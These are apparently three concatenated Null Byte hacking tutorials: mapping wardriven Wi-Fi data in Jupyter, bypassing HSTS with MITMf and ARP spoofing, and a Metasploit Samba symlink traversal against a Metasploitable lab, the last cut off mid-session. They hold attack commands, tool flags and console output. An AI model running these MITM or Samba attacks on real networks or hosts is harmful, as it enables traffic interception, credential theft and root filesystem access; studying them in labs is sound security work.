[I 01:09:37.436 NotebookApp] The Jupyter Notebook is running at:
[I 01:09:37.436 NotebookApp] http://localhost:8888/?token=270764925ebaf4b0cefee2d0d4e742387c460ae76ff52277
[I 01:09:37.436 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[C 01:09:37.444 NotebookApp]
To access the notebook, open this file in a browser:
file:///Users/skickar/Library/Jupyter/runtime/nbserver-58428-open.html
Or copy and paste one of these URLs:
http://localhost:8888/?token=270764925ebaf4b0cefee2d0d4e742387c460ae76ff52277A browser window should open, showing you the menu page for Jupyter Notebook. From here, you can select a new Python 3 notebook to get started.Step 3: Import the CSV DataIn our blank notebook, our first task will be to import the CSV data into a dataframe. A dataframe is how the Python Pandas library handles data, and it's a versatile format for analyzing information.First, to use Pandas, we'll need to import it. If you don't already have it, you can install it by typing inpython3 -m pip install pandasa terminal window.To work with Pandas more easily in Python, we'll import Pandas as "pd" in Jupyter and address it that way in the rest of our code. Importing Pandas and naming it "pd" looks like this:In [ ]: import pandas as pdNext, we'll need to add our mapping library, folium. If you don't have it, you can install it withpython3 -m pip install foliumin a terminal window. In our Jupyter notebook, add the next line to import Folium.In [ ]: import foliumAfter folium has been imported, we'll take our CSV file and turn it into a dataframe called "df" using the built-in pd.read_CSV function. Inside this function, we'll also specify the delimiter (how we separate the data) and the encoding type.Finally, we'll set the "header" to row 1 rather than the default row 0, as Wigle WiFi records information about the device the information was captured on in row 0.Put all together, our code to import the .CSV file looks like this:In [ ]: df = pd.read_csv('/YOUR_FILE.csv', delimiter = ',', encoding='latin-1', header=1)In [ ]: import pandas as pd
import folium
df = pd.read_csv('/Users/skickar/Downloads/WigleWifi_20190723192904.csv', delimiter = ',', encoding='latin-1', header=1)To confirm that you've read in the data properly, you can sample 10 rows from the dataframe with the "df.sample(10)" command.As we can see, our Wigle WiFi data has been imported, but includes Wi-Fi, Bluetooth, and cellular data devices. We'll need to clean unrelated signal types from our data before we continue.Step 4: Clean for Signal TypeAs we can see from our sample data, we still have rows that represent cellular data towers and Bluetooth devices. To remove these, we'll need to search through our dataframe and remove anything that we don't want to include.To start our map, we'll need to set the middle of the map and the zoom level. We'll do so by taking the average of all the latitudes and longitudes in our dataset. For a relatively small dataset, it should work fine, but if our data contains any null or unexpected values, it won't plot correctly and we may need to hard-code in the center of the map with coordinates.First, we create a map called "mymap" and then set the center of the map and zoom level, which we'll set to 12.In [ ]: mymap = folium.Map( location=[ df.CurrentLatitude.mean(), df.CurrentLongitude.mean() ], zoom_start=12)After setting the location, we can decide which values we're interested in. First, we'll read in our values, which are CurrentLatitude, CurrentLongitude, SSID, Type, and MAC. We'll be using the current latitude and current longitude to drop a marker on the map we generate, the SSID and MAC address of the network to create a pop-up when we click on the marker, and the Type to check that the information belongs to a Wi-Fi network and not a Bluetooth device.We'll start our loop to clean our data with a "for" statement. Because we're mapping coordinates, I'm using the variable "coord" for each row, but you can use whatever variable makes sense.In [ ]: mymap = folium.Map( location=[ df.CurrentLatitude.mean(), df.CurrentLongitude.mean() ], zoom_start=12)
for coord in df[['CurrentLatitude','CurrentLongitude', 'SSID', 'Type', 'MAC']].values:Now, we write the part of our loop that filters our data. We've indexed five pieces of data: the latitude, longitude, SSID, type, and MAC address. These are indexed ascoord[0]throughcoord[4], because the index starts at 0. To check if a row is a Wi-Fi device or something we don't want to map, we can look in thecoord[3], or "Type" variable, to check if it's equal to WIFI.In [ ]: if (coord[3] == 'WIFI'):Anything that meets this condition can then be mapped, as our filter should eliminate any results that don't come from Wi-Fi devices. We'll use the folium.CircleMaker function to load the longitude and latitude of the marker to plot, which should becoord[0]andcoord[1], and then we'll set the radius and color of the marker.The last part of the marker to set is the "popup" field, which will determine what information will pop up when we click on the marker. In the popup field, we'll label the data and then pass in thecoord[2]andcoord[4]values, which should be the SSID and BSSID.In [ ]: folium.CircleMarker(location=[coord[0],coord[1]], radius=1,color='red', popup=["SSID:", coord[2], "BSSID:", coord[4]]).add_to(mymap)All together, our code should look like this.In [ ]: mymap = folium.Map( location=[ df.CurrentLatitude.mean(), df.CurrentLongitude.mean() ], zoom_start=12)
for coord in df[['CurrentLatitude','CurrentLongitude', 'SSID', 'Type', 'MAC']].values:
if (coord[3] == 'WIFI'):
folium.CircleMarker(location=[coord[0],coord[1]], radius=1,color='red', popup=["SSID:", coord[2], "BSSID:", coord[4]]).add_to(mymap)Step 5: Save Map to HTML FileNow that we've plotted our data, we can create an HTML file with it. To do so, we'll add this code.In [ ]: mymap.save('testone.html')Press the "Run" button to generate an HTML file containing the map.You can open the resulting HTML file in any browser to see the result.Step 6: Display Map in IframeTo show the map in our Jupyter notebook, we can open it in an iframe. You can apparently also just type the name of your map, but I ran into problems with this rendering correctly, while iframes always work.To open an iframe, we can use the following code.In [ ]: %%HTML
<iframe width="60%" height="450" src="testone.html"></iframe>Press run to display the iframe of our plotted map within Jupyter Notebook.Step 7: Clean Null Values & '?' CharactersA common issue we can encounter is empty data fields, which can make large datasets impossible to plot. This will become a much bigger problem when we work with extremely large data sets.To open and clean a very large dataset from Wigle WiFi, we first open the CSV file as normal.In [ ]: df = pd.read_csv('/Users/skickar/Downloads/biglots.csv', delimiter = ',', encoding='latin-1', header=1)Then, we create an empty list called "valid" to hold all of the results that pass our filter and use the same filter we did before to clean any results that are not Wi-Fi networks. Anything that passes the filter, we'll append to our "valid" list with thevalid.append(rows)code, which appends the contents of the valid row to the "valid" list.In [ ]: valid = []
for rows in df[['MAC', 'SSID', 'AuthMode', 'FirstSeen', 'Channel', 'RSSI', 'CurrentLatitude', 'CurrentLongitude', 'AltitudeMeters', 'AccuracyMeters', 'Type']].values:
if (rows[10] == 'WIFI'):
valid.append(rows)Now, we can use a built-in function called.dropna()to drop any row that contains an empty value. This will eliminate a lot of rows, but will also ensure the resulting ones are clean. We'll use the.dropna()while creating a new Pandas dataframe called "validframes" from our "valid" list.In [ ]: validframes = pd.DataFrame(valid).dropna()Now, we'll add column names to our "validframes" dataframe to make sure they're all properly labeled.In [ ]: validframes.columns = ['MAC', 'SSID', 'AuthMode', 'FirstSeen', 'Channel', 'RSSI', 'CurrentLatitude', 'CurrentLongitude', 'AltitudeMeters', 'AccuracyMeters', 'Type']The data in "validframes" should now be clean! We can plot it the way we did with the earlier sample, although it will probably take a lot longer. Altogether, our code to open and clean a large CSV data set looks like this. We can add avalidframes.head()to the end to check if our resulting data is formatted correctly.In [ ]: #Get rid of NAN values and get rid of non Wi-Fi networks
df = pd.read_csv('/Users/skickar/Downloads/biglots.csv', delimiter = ',', encoding='latin-1', header=1)
valid = []
## Grab all Wi-Fi nets in a list called Valid
for rows in df[['MAC', 'SSID', 'AuthMode', 'FirstSeen', 'Channel', 'RSSI', 'CurrentLatitude', 'CurrentLongitude', 'AltitudeMeters', 'AccuracyMeters', 'Type']].values:
if (rows[10] == 'WIFI'):
valid.append(rows)
## Create dataframe after dropping NAN's
validframes = pd.DataFrame(valid).dropna()
validframes.columns = ['MAC', 'SSID', 'AuthMode', 'FirstSeen', 'Channel', 'RSSI', 'CurrentLatitude', 'CurrentLongitude', 'AltitudeMeters', 'AccuracyMeters', 'Type']
validframes.head()The data looks good! Now, we can map the data the way we did before, but we'll set a hard-coded location for the center of the map to avoid needing to calculate the median of a huge dataset.In [ ]: mymap = folium.Map( location=[34.0522, -118.243683], zoom_start=12)
for coord in validframes[['CurrentLatitude','CurrentLongitude', 'SSID', 'Type']].values:Now, we'll set our filter to remove any longitude or latitude data that contains an "?" character, which will cause GPS locations to fail when trying to plot them. This was an issue in larger Wigle WiFi datasets. Anything that passes our filter, we can add to the map the same way we did before, and save it as an HTML file.In [ ]: if ("?" not in str(coord[0])) and ("?" not in str(coord[1])):
folium.CircleMarker(location=[coord[0],coord[1]], radius=1,color='red', popup=["SSID:", coord[2]]).add_to(mymap)Finally, we'll save the plotted map to an HTML file. The finished code should look like this:In [ ]: mymap = folium.Map( location=[34.0522, -118.243683], zoom_start=12)
for coord in validframes[['CurrentLatitude','CurrentLongitude', 'SSID', 'Type']].values:
if ("?" not in str(coord[0])) and ("?" not in str(coord[1])):
folium.CircleMarker(location=[coord[0],coord[1]], radius=1,color='red', popup=["SSID:", coord[2]]).add_to(mymap)
mymap.save('biglots.html') # saves to html file for display belowAfter the map finishes saving, we can display it in an iframe with the code below.In [ ]: %%HTML
<iframe width="60%" height="450" src="biglots1.html"></iframe>If the dataset was clean and plotted correctly, you should see the result as something like below.With Jupyter Notebook, You Can Plot Your Own DataJupyter gives you complete control over how you analyze Wi-Fi data you collect with the Wigle WiFi app. With these free tools, anyone can perform signals intelligence to map weak or open Wi-Fi networks and discover any Wi-Fi network containing a known string or by a particular manufacturer. Wigle.net provides a lot of useful ways of slicing through the information you collect, but nothing beats total freedom to filter, plot, and map Wi-Fi devices in Jupyter Notebook.I hope you enjoyed this guide to plotting wardriving Wi-Fi data with Jupyter Notebook! If you have any questions about this tutorial on analyzing Wi-Fi signals or you have a comment, ask below or feel free to reach me on Twitter@KodyKinzie.Don't Miss:Detect When a Device Is Nearby with the ESP8266 Friend DetectorWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Kody/Null ByteRelatedHow To:Analyze Wi-Fi Data Captures with Jupyter NotebookHow To:Wardrive on an Android Phone to Map Vulnerable NetworksHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerNews:Fantasmo Wants to Map the World & Its Buildings in 3D with Your Smartphone's CameraHow To:Here's What Google Maps Does with Your DataHow To:Recycle Old Jeans into a School NotebookHow To:Download Entire Maps for Offline Use in Google MapsHow To:Create notebook layouts in Microsoft Word: Mac 2008News:Is Streetview Coming to Apple Maps? NYC May Hold the AnswerHow To:Save Battery Life & Never Get Lost Again with Offline Maps & Directions on Your Samsung Galaxy S3News:Finally, Apple Is Doing Something to Improve the Accuracy of Apple MapsHave You Seen This?:Mind Mapping in 3D with the HoloLens & Holo MindHow To:If You Really Don't Care About Privacy, Here's What You Get by Giving Google All Your DataNews:'Walking Dead' AR Game Powered by Google Maps Coming This Summer, Gameplay Footage ReleasedNews:Bosch Unveils New Tech to Improve Accuracy of Self-Driving CarsNews:This Fun HoloLens App Transforms Any Room into the MatrixNews:Oculus Confirms Reports of Coming AR Glasses & Cloud — but Will You Really Trust Facebook to Map Inside Your House?News:Google Charts Course for Location-Based AR Apps via Maps APIHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsNews:This Smart Paper Notepad Saves Everything You Write on ItHoloLens Feature:Spatial MappingHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoNews:Niantic Planning to Chart AR Maps with Crowdsourcing Help from GamersHow To:10 Ways to Trick Your Android Phone into Using Less DataNews:Google Maps Update Will Help You Skip the Wait at Popular RestaurantsHow To:Save Locations in Google Maps for Offline UseHow To:Make Interactive Heat Maps from Your Android Device's Location HistoryHow To:Map wardrives with IGiGLE and WiGLENews:New Minecraft Map Format, "Anvil" AnnouncedProjection Mapping Minecraft:Mining in the Real WorldHow To:Chrome Your Web Experience with Google's Cr-48 NotebookScrabble Bingo of the Day:ISOPLETHNews:NASA Kicks Off 2012 with Ambitious New Moon MissionNews:Player Maps for Minecraft in 1.6News:Minecraft Custom Map - Episode 1: The Wooden RoomHow To:9 Tips for Maximizing Your Laptop's Battery LifeNews:SOFTWARE HINTS, TIPS & TRICKS-"DITTO & DITTO PORTABLE"News:Interactive Map of ReykjavikNews:Find Your Polling Place on Google |
Defeating HSTS and Bypassing HTTPS with DNS Server Changes and MITMf « Null Byte :: WonderHowTo | It's been a while when the major web browsers first introducedHTTP Strict Transport Security, which made it more difficult to carry Man In The Middle (MITM) attacks (except IE, as always, which will support HSTS since Windows 10, surprised?).SSLStrip and the HSTS ChroniclesCompanies started pushing for this technology when the brilliantMoxie Marlinspikespoke atBlack Hat DC in 2009presenting his toolSSLStrip.This tool basically works by intercepting the requests going between theARP poisonedvictim and the router, replacing the HTTPS requests with HTTP ones (downgrade attack), so that an attacker is able to sniff even the traffic that the user thinks is encrypted and should be (make always sure that whenever you are visiting a secure website a lock or any visible sign confirms that the connection is encrypted, otherwise someone might be eavesdropping on you).To solve this problem, HSTS headers were introduced in most browsers. This new technology blocks whatever HTTP connection is established with a web page that is supposed to be safe and use a secure protocol and usually spawns a warning. This is done by comparing the addresses visited with those on a table of registered secure pages to which other less famous web sites are added the first time they are visited by the user. This reduced the capabilities of SSLStrip to strip just pages that were never visited before and were not using certificates on the list of certified addresses of the browser.Exploiting DNS Servers ChangesRecently a new vulnerability has been treating internet users. HSTS headers could be considered secure at first, but thevulnerabilityfound by the author ofSSLStrip2(sometimes SSLStrip+),LeonardoNve, was quite easy: adding a little detail in the request (like a fourth "w" in world wide web) so that the router's DNS doesn't know how to react to it. At this point, an attacker may just redirect the request to his own previously set up DNS alternative proxy that will respond with the HTTP version of the requested page, basically hijacking address resolution.This way, HSTS can be bypassed, most of the times.Requirements to Proof the VulnerabilityAs you might have realized, this poses a significant threat that anybody should be aware of and be able to protect from. To raise security awareness, the tool has been released to the public and the attack has been integrated in some MITM services. I chose to use one special tool that integrates this and many other attacks to demonstrate the attack:MITM framework, or MITMf.Disclaimer: I don't own any of the content linked in this post, and I'm not aware of any treat that these pages may pose to your safety (mostly Github). I absolutely discourage using these tools for malicious purposes.If you don't know what you are doing, DON'T DO IT. This article is for educational and security awareness purposes only. If anything in this page might be considered illegal, I encourage the admins to delete this contents immediately.The tool linked uses a SSLStrip2 fork from "Byt3bl33d3r".You can download the tool on Kali Linux with:apt-get install mitmfHowever!Even though this version supports a lot of plugins, it's outdated and very old. I've also found a lot of problems and incompatibilities running it, that's why I'm going to report the process to download the latest version, the one published on github, which worked for me after some tweaking and error/bug fixing.The reason why I'd like to show you this tool is because it is an alternative to Arpspoof and Ettercap, and also has the specially crafted DNS proxy integrated (along with lot of useful plugins and atomizations). If you had to do this without using MITMf, you would have to setupSSLStrip2and the DNS proxy used by MITMf (dns2proxy) by yourself. However, these two tools have been deleted from their own repo because of legal issues. These tools may in fact be used for malicious purposes. You don't always use knifes to kill people, but somebody does, and who does must be arrested.Also, MITMf has a straight to the point text interface, which makes it look very light, and it supports a lot of interesting plugins which I'll talk about later and recommend you to check out.Outdated Downloading Process, See BelowTo download the latest version directly from the gihub repository of the fork, open a terminal in the Desktop and type:git clone https:/ /github.com/byt3bl33d3r/MITMf.gitThe git utility will start to clone the folder on your Desktop.Once you are done, cd into the MITMf directory just created and run the setup:./setup.shOne last step is left, we need to install some required packages for python. We'll do that trough thepiputility. Make sure you are using python2 (tested with python 2.7), as python3 might throw some syntax errors. Kali should include "pip2" as default. If you get any error, ask in the comments. Eventually, you may try to "curl -o get-pip.py.py https:/ /bootstrap.pypa.io/get-pip.py" and then run "python get-pip.py" that will also installsetuptoolsif you don't have them, or try using "pip" instead of "pip2". As a final step for the installation, run, in the MITMf folder:pip2 install --upgrade -r requirements.txtThen,python mitmf.py --helpto show the help page running the program.Fixed Downloading Process:For some compatibility issues regarding byt3bl33d3r trying to include in his project libraries as standalones for better portability, the fast-deployable quality was a little bit overlooked. Because of that, I created a simple script that can be found in my fork of MITMf, along with the mitmflib decompressed (I may compress it or remove it and make the script download and decompress it in future):git clone https: //github.com/CiuffysHub/MITMfcd MITMfchmod 777 setup-fixed.sh./setup-fixed.shDownload and installation has been reported successfully on Kali Linux light 2.0 64 bit.Installation TroubleshootingIn case you get any of the following errors:1) When I run the command "pip install..." I get an error at the requirement at line 16, "pypcap".You don't need that. As you can see opening the requirements file, it's the last of them. To make sure that missing packet will no cause any error, you can install it withapt-get install python-pypcapas shown in the installation guide on the github repository ("ImportError: no module named pcap", mostly on Kali Linux).2) Whenever I run mitmf.py trough python, I get an error related to "watchdog.observers".It's related to some missing packet synchronization. To solve the problem, type "pip2 install watchdog", or if that's your case, use the regular "pip" instead of pip2. Another packet should missing, alsopip2 install dsnlib, and you should be able to run mitmf.py.3) When I run mitmf.py, I get the error "ImportError: cannot import name LOG".Download the latest version of"Impacket"and install it running"python setup.py install".Edit: link broken, cone this repo:https://github.com/CoreSecurity/impacket.git4) If you get "SyntaxError: invalid syntax" at line 70 or around, you might be running python3. Make sure you are running python2, so if python3 is the main python version (you see that if you runpython, it shows the version), then run mitmf like this: "python2 mitmf.py". If anyone gets it working on python3, or the creators adopted python3 and I haven't added it in this guide, feel free to write in the comments.So far, these are the problems I encountered. I'd appreciate if anybody contributed to this troubleshooting section.Running MITMfFirst of all, take a look at the help pages, you'll find out a lot of cool stuff.The options we are going to use and analyze today are:-i: to specify the interface we want to run the MITM attack trough;--spoof: to redirect or modify the hijacked traffic;--apr: to specify that we want to redirect the traffic trough ARP spoofing;--hsts: to load SSLStrip+ plugin;--dns: to load a proxy to modify DNS queries;--gateway:to specify the gateway;--target:to specify the target.If everything is ok with your installation, this should be the initial part of the output:Startup MITMf outputMITMf will start logging the requests from the target and showing them in the output. MITMf also makes sure that if the request can't be stripped, the regular HTTPS page is shown, so that no certificate related errors shown.Sample of hijacked traffic against Android Browser and Dolphin Android BrowserSometimes, MITMf may do something different than just adding an extra "w", for example changing urls with similar addresses that don't really exist, like with google services. When requests like these are made, the stuffed DNS proxy knows that it should respond with the HTTP version of the similar page.Output sample including the action of the tool"DNSChef"ResultsThis was tested by me on Kali Linux 1.0.9 updated in June 2015, using MITMf version 0.9.7.Attacks were completely* successful against the Stock Browser of a Samsung Galaxy S5 SM-G900F running Android 4.4.2 and Android Browser on SGH-T989 running CM12.1 Lollipop (08/10/15), partially** successful against Safari 6.0.5 and Firefox 32.0.2 on a MacBook Pro running OSX 10.8.4, and unsuccessful*** against Google Chrome 43.0 (both mobile and not).*completely vulnerable: whenever a connection to a HTTPS page was requested, a HTTP version of the page was shown.**partially vulnerable: the attack worked only in particular conditions, especially links and via stripped versions of research engines like Yahoo or Google, but didn't work in other conditions, mostly by accessing the pages trough a collection of saved addresses or a home page.***unsuccessful: the attack was completely unsuccessful and didn't affect the browsing at all.If you think you are vulnerable, you should update now or change your main browser to a safer one.Requesting a test again Internet Explorer, Opera, more up to date versions of Firefox and Safari and Google Chrome, please post the results in the comments section, thanks!Other MITMf Useful PluginsResponder: this is actually a very interesting tool I've discovered before MITMf fromSpiderLabs. "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.[Github Page]" I was in need of this when trying pass the hash attacks (with the help of Metasploit) against Windows boxes up to Vista (SMB & NTLMv2).ZackAttackwas able to do even more, but the project was abandoned soon after it was presented way back in 2012 . It is so abandoned that the first result on Google is actually a Cincinnati dance group, but whatever.Of course, the regular SSLStrip by Moxie Marlinspike.Inject: basically the same function as Ettercap filters.JSKeylogger: "Injects a javascript keylogger into clients webpages"BrowserProfiler: "Attempts to enumerate all browser plugins of connected clients", like BeEF does.SMBTrap: "Tools developed to test the Redirect to SMB issue (Github)"Filepwn: "Backdoor executables being sent over http using bdfactory"Ferret-NG: "Captures cookes and starts a proxy that will feed them to connected clients"Upsidedownternet: Flips images 180 degrees, to show people what not updating leads up to. Or down, whatever.BrowserSniper: "Performs drive-by attacks on clients with out-of-date browser plugins"... And last but not least, dulcis in fundo: BeEFAutorun: "Injects BeEF hooks & autoruns modules based on Browser and/or OS type", basically what I've explained how to do with Ettercap inmy very first post on Null Byte: "Beef + Ettercap Pwning Marriage". The feels are over nine thousand right now.ConclusionSorry for any mistake I've made, conceptual or grammatical, as I'm not native english.I encourage the Null Byte community to contribute to this report with bug reporting, troubleshooting and feedback. I hope this tool will be useful for any of you out there.Hope you had a nice reading, keep coming back Null Byters!Cover Image: Comparing Gandalf vs Doggy with White Hats vs Black HatsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hook Web Browsers with MITMf and BeEFHow To:Inject Coinhive Miners into Public Wi-Fi HotspotsHow To:Bypass Facebook's HSTSHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHow To:Inject Payload into Softwares via HTTPHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)News:Here's Why You Should Be Using Private DNS on Your PhoneHow To:Backdooring on the Fly with MITMfHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Fake Captive Portal with an Android PhoneAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowThe Ultimate Guide:Diagnosing & Fixing Connection Issues, Part IIHow To:Secure Your Computer with Norton DNSNews:Remove Adobe 30 Day CS4 Trial LimitLink:DNSteal v2.0News:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsEssentialsChat Tutorial:Chat and Color FormattingHow To:Make a Change-of-IP Notifier in PythonNews:Flaw in the Latest Linux Graphical Server Allows Passwordless LoginsGHOST PHISHER:Security Auditing Tool |
How to Get Root Filesystem Access via Samba Symlink Traversal « Null Byte :: WonderHowTo | Samba can be configured to allow any user with write access the ability to create a link to the root filesystem. Once an attacker has this level of access, it's only a matter of time before the system gets owned. Although this configuration isn't that common in the wild, it does happen, and Metasploit has a module to easily exploit this security flaw.Symbolic links, or symlinks, are files that link to other files or directories on a system, and they are an essential part of theLinuxenvironment. Symlinks are often used to connect libraries and redirect certainbinariesto other versions.File share systems, likeSamba, can take advantage of symbolic links, allowing users to easily access linked folders and files. But these links are normally confined to within the share itself, making it impossible to access the underlying filesystem.Don't Miss:Get Root with Metasploit's Local Exploit SuggesterSamba does have an option to use wide links, which are basically symlinks that are allowed to link outside of the sandboxed file share. This is obviously a huge security hole, as any user with write access to a share can create a link to theroot filesystem.For this demonstration, we will be usingKali Linuxto attack aMetasploitable 2virtual machine. If you have a similar pentesting lab you can follow along.Step 1: Create Link with MetasploitThe first thing we need to do after discovering that theSMB serviceis running on the target is to see if we can get access to the shares and, if so, find their names. We can usesmbclientto do so:~# smbclient -L //10.10.0.50/
Enter WORKGROUP\root's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP METASPLOITABLEAbove, we can see that we are able to log in anonymously and list the shares. It looks like there are a couple of default shares, but the one that looks interesting is labeledtmp. It even has a comment that looks suspicious, so we'll use this as our target share.Next, fire upMetasploitby typingmsfconsolein the terminal.~# msfconsole
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v5.0.20-dev ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 >Recommended Reading:Metasploit Penetration Testing Cookbook, Third EditionOnce we're in and greeted by the login banner, we can search for a suitable module to use with thesearchcommand:msf5 > search samba symlink
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal
1 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow
2 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow
3 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow
4 auxiliary/scanner/rsync/modules_list normal Yes List Rsync Modules
5 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
6 auxiliary/server/wget_symlink_file_write 2014-10-27 normal No GNU Wget FTP Symlink Arbitrary Filesystem Access
7 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
8 exploit/linux/local/abrt_raceabrt_priv_esc 2015-04-14 excellent Yes ABRT raceabrt Privilege Escalation
9 exploit/linux/local/asan_suid_executable_priv_esc 2016-02-17 excellent Yes AddressSanitizer (ASan) SUID Executable Privilege Escalation
10 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
11 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
12 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
13 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow
14 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
15 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
16 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
17 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
18 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
19 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
20 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
21 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection
22 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
23 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution
24 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution
25 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow
26 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow
27 exploit/windows/local/ms13_097_ie_registry_symlink 2013-12-10 great No MS13-097 Registry Symlink IE Sandbox Escape
28 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource
29 post/linux/gather/enum_configs normal No Linux Gather ConfigurationsWe received a lot of results from that search term, but the one we want to use is actually the first one. Load the module with theusecommand, followed by the path of the module:msf5 > use auxiliary/admin/smb/samba_symlink_traversalNow that we are loaded into the context of the module, we can use theoptionscommand to see the settings:msf5 auxiliary(admin/smb/samba_symlink_traversal) > options
Module options (auxiliary/admin/smb/samba_symlink_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBSHARE yes The name of a writeable share on the server
SMBTARGET rootfs yes The name of the directory that should point to the root filesystemIt looks like it already has port 445 set as the correct port for SMB, as well as the name of the directory that will be created that links to the root filesystem. We need to set theRHOSTSoption as the IP address of the target:msf5 auxiliary(admin/smb/samba_symlink_traversal) > set rhosts 10.10.0.50
rhosts => 10.10.0.50And the name of the share we want to write to, in this case, thetmpshare:msf5 auxiliary(admin/smb/samba_symlink_traversal) > set smbshare tmp
smbshare => tmpNow we should be all set, and all we have to do is typerunat the prompt to launch the module:msf5 auxiliary(admin/smb/samba_symlink_traversal) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:445 - Connecting to the server...
[*] 10.10.0.50:445 - Trying to mount writeable share 'tmp'...
[*] 10.10.0.50:445 - Trying to link 'rootfs' to the root filesystem...
[*] 10.10.0.50:445 - Now access the following share to browse the root filesystem:
[*] 10.10.0.50:445 - \\10.10.0.50\tmp\rootfs\
[*] Auxiliary module execution completedIt spits out what it is doing as it runs — we can see it first connects to the server and mounts the writable share we specified. Then, it creates a link to the root filesystem and tells us where to go to access it. Perfect.Step 2: Access Root FilesystemOnce the module does its thing, we can exit Metasploit with theexitcommand and connect to the target SMB share with smbclient:msf5 > exit
~# smbclient //10.10.0.50/tmp
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>We can log in anonymously again and use thelscommand to view the contents of the share:smb: \> ls
. D 0 Wed Aug 8 10:52:28 2018
.. DR 0 Sun May 20 13:36:12 2012
4600.jsvc_up R 0 Wed Aug 8 08:57:48 2018
.ICE-unix DH 0 Wed Aug 8 08:56:05 2018
.X11-unix DH 0 Wed Aug 8 08:56:51 2018
.X0-lock HR 11 Wed Aug 8 08:56:51 2018
